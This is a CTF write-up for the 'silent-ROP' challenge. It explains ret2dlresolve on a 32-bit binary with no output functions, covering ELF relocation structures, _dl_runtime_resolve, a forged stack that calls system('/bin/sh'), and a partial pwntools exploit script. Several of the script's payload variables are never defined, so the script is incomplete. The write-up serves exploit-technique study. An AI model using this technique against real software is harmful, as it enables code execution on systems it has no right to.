in th recent k3rn31ctf, there is a pwn question silent-ROP.
In this challenge, there is no output, neither put or printf is imported. So there is no way we can get the libc address/version. Therefore, normal way of ret2libc didn't work in this case, because we can't get the address of system function.
1 2 3 4 5 6 7 8 9 10
:> ii [Imports] nth vaddr bind type lib name ――――――――――――――――――――――――――――――――――――― 1 0x08049070 GLOBAL FUNC read 2 0x00000000 WEAK NOTYPE __gmon_start__ 3 0x08049080 GLOBAL FUNC __libc_start_main 4 0x00000000 GLOBAL OBJ stdin 5 0x08049090 GLOBAL FUNC setvbuf 6 0x00000000 GLOBAL OBJ stdout
To solve this question, it required technique called ret2dlresolve, after serveral hour of reading article, i finally understand the process of return to dl resolve
to perfrom ret2dlresolve, first we need to know how how dl resolve works. The detailed explaination can be found in the third link (how dl-resolve works) in the Introduction.
Take the silent-rop as example.
Which part are used in dl resolve
first take look at .dynamic section, the dynamic section contains some address that will be used in the dl resolve.
Relocation section '.rel.plt' at offset 0x370 contains 3 entries: Offset Info Type Sym.Value Sym. Name 0804c00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0 0804c010 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0 0804c014 00000507 R_386_JUMP_SLOT 00000000 setvbuf@GLIBC_2.0
1 2 3 4
[0x08049235]> px @ 0x08048370 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x08048370 0cc0 0408 0701 0000 10c0 0408 0703 0000 ................ 0x08048380 14c0 0408 0705 0000 0000 0000 0000 0000 ................
the data structure of .rel.plt are very different in x86 and x64 system. In this case, we are looking at x32 binary. So, in x86 system, the struct of .rel.plt is Elf32_Rel
1 2 3 4 5 6 7 8
typedef uint32_t Elf32_Addr; typedef uint32_t Elf32_Word; typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel; #define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff)
r_offset store the address of Global offset table of corresponding function.
r_info store the index address of Elf32_Sym
For example, the read function in .rel.plt have r_offset of 0x8040c00c, which is the address of read in GOT.
r_info is 0701 in this case, which indicate the sym index is 0x01.
so, if we take look at Elf32_Sym struct at .dynsym + 0x01 * 0x10 (SYMTAB + index * length).
as shown in the SYMTAB part, this indicate the function read. which is exactly what we want.
1 2 3
[0x08049235]> px @ 0x08048248 + 0x01*0x10 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x08048258 2000 0000 0000 0000 0000 0000 1200 0000 ...............
Process of dl resolve
Before all
Since dl resolve is called only when lazy binding is enabled. So dl resolve can only be called when the binary is Partial RELRO or No RELRO
If a binary is Full RELRO, this means dl resolve will not be called. Therefore, it is return to dl resolve will not work in Full RELRO binary
before call dl resolve
normally, if we want to call a funtion. we first call function address at PLT.
if it is the first time call this function, the PLT will jump to GOT, push the real function address and jump back to plt, save the real function address to PLT for next call and then call the fucntion
if there is already a address in PLT, it just call the function
but what if there is no value in the GOT due to lazy binding? here it comes dl resolve
dl resolve
if the GOT return 0x0, the the binary will use _dl_runtime_resolve() to find the real address
after getting the real address, it will save the real address to GOT
call the function with parameter.
_dl_runtime_resolve function is called in front of section.plt
1 2 3 4 5 6 7 8 9
;-- section..plt: ;-- .plt: 0x08049030 push dword [0x804c004] ; 0x804c004 is link_map 0x08049036 jmp dword [0x804c008] ; 0x804c008 is the address of _dl_runtime_resolve 0x0804903c nop dword [eax] 0x08049040 endbr32 0x08049044 push 0 0x08049049 jmp section..plt 0x0804904e nop
_dl_runtime_resolve do the following things
it take link_map which store the all information of imported library
it also take rel_offset, which indicate the offset of struct of Elf32_Rel to .rel.plt
then it read the r_info in Elf32_Rel
use r_info to find Elf32_Sym
use Elf32_Sym struct to find function name
search by function name and then return real function address
notice that in _dl_runtime_resolve, it use rel_offset to find the struct of Elf32_Rel and get the function name.
also notice that the boundary check for rel_offset is missing, so we an pass any value to the function
if we can find a writable address that higher than JMPREL, we can try to make a fake Elf32_Rel struct in fake section.rel.plt along with fake section.dynsym and fake section.dynstr
after making those fake section, pass the section address offset to _dl_runtime_resolve, then _dl_runtime_resolve will automatically call the function.
0x4 Example Solution
1 2 3 4 5
# Arch: i386-32-little # RELRO: Partial RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x8048000)
the binary have an very obvious buffer overflow in vuln, so we can easily write ebp and eip
first we need to use read to create our fake section and ropchian to call dl_resolve
we want to fake the main to call read(0,fake_stack_address,0x300)
after creating fake stack, we want point esp to our fake stack and use ret to execute dl_resolve, there fore, we use leave;ret
1 2 3 4 5 6 7
fake_stack_address <- saved ebp jmp read <- call read leave;ret; <- saved eip. but we want to first point esp to the our stack and then ret so we can execute dl_resolve 0x0 <- para 1 fake_stack_address <- para 2 fake_stack_length=0x300 < para 3 main stack
then, in the stack we need to forge all the section we need and create rop chain
AAAA <- fake ebp // we want to fake that system call dl_resolve // push fake section.rel.plt dl_resolve fake_rel_plt_ptr AAAA <- fake eip "/bin/sh" ptr <- parameter 1 // some fake stack where it call system("/bin/sh")
-
// fake section.rel.plt { Elf32_Addr r_offset ; /* Address */ Fake got Elf32_Word r_info ; /* Relocation type and symbol index */ point to fake section.dynsym } // fake section.dynsym point to "system" in fake section.dynstr // fake section.dynstr "system" // fake got // fake text "/bin/sh"
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template silent-ROP from pwn import *
# Set up pwntools for the correct architecture exe = context.binary = ELF('silent-ROP') libc = ELF("libc.so.6") rop = ROP(exe)
# Many built-in settings can be controlled on the command-line and show up # in "args". For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR
defstart(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
# Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = ''' tbreak main continue '''.format(**locals())
# =========================================================== # EXPLOIT GOES HERE # =========================================================== # Arch: i386-32-little # RELRO: Partial RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x8048000)
''' 0x0804c100 AAAA <- fake ebp // we want to fake that system call dl_resolve // push fake section.rel.plt dl_resolve fake_rel_plt_ptr - AAAA <- fake eip "/bin/sh" ptr <- parameter 1 // some fake stack where it call system("/bin/sh") - // fake section.rel.plt { Elf32_Addr r_offset ; /* Address */ Fake got Elf32_Word r_info ; /* Relocation type and symbol index */ point to fake section.dynsym } // fake section.dynsym point to "system" in fake section.dynstr // fake section.dynstr "system" // fake got // fake text "/bin/sh" ''' jump_to_call_system_stack = flat({ 0x18: [ fake_stack_address, # ebp exe.plt['read'], # call read to write stack into the target rop.find_gadget(['leave', 'ret'])[0], 0, fake_stack_address, fake_stack_length, ], }, filler=b'\x00') ''' origin saved ebp save eip stack of main we want to fake the main to call read(0,fake_stack_address,0x300), fake_stack_address <- saved ebp jmp read <- leave;ret; <- saved eip. but we want to first point esp to the our stack and then ret so we can execute dl_resolve 0x0 <- para 1 fake_stack_address <- para 2 fake_stack_length=0x300 < para 3 main '''
io = start() ifinput("debugger?") == "y\n": pid = util.proc.pidof(io)[0] print("The pid is: " + str(pid)) util.proc.wait_for_debugger(pid) input("press enter to continue") input("send first payload") io.sendline(jump_to_call_system_stack) input("send second payload") io.sendline(fake_call_system_stack) io.interactive()